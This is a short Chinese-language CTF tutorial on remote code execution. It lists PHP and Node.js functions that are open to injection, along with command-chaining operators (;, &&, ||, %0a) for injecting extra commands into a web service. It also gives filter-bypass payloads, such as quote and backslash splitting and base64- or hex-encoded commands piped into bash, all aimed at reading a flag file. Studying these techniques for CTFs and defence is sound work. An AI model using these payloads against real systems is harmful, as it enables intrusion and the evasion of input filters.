CTF——远程代码执行漏洞的利用与绕过
RCE远程代码执行是一种常见的攻击方法,通过一些特定的函数方法来达到远程执行漏洞。比如说PHP的system,exec,shell_exec,nodejs的eval等。开发者不小心将这些函数公开出来以实现某种服务,而用户的数据不施加任何的过滤的话就很容易形成此漏洞。
敏感函数
系统指令执行的敏感函数
system()、exec()、shell_exec()、passthru()、pctnl_exec()、 popen()、proc_open()
能够进行代码注入的敏感函数
eval()、assert()、preg_replace()、call_user_func()
漏洞利用
RCE一般发生在本来就是进行系统命令执行的地方,如一个网站可以提供ping服务等,这样的话就可以通过联合执行来执行其他的命令。
cmd1;cmd2;cmd3 #利用;号分开命令
#分号的效果是不管命令执行是否成功,所有命令都会执行
cmd1 && cmd2 #利用&&分开命令
#若前面的命令是错误的后面的将无法执行
cmd1 || cmd2 #利用||分开命令
#只有当cmd1执行错误时,才执行cmd2
cmd1 %0a cmd2 #换行
过滤绕过
#若输入过滤了空格可以用下面方法尝试绕过
{cat,/flag} #利用{}与,绕过
%20 #利用url编码绕过
#若过滤了关键字 可用下面方法尝试绕过
ca\t \flag #反斜杠绕过
cat \fl''ag #双单引号绕过
echo "Y2F0IFxmbGFn" | base64 -d |bash #利用base64编码绕过
echo "636174205C666C6167" | xxd -r -p | bash #hex码绕过
cat \f[l]ag #利用[]匹配
cat \fla* #利用*进行任意匹配 还可以利用其他的正则绕过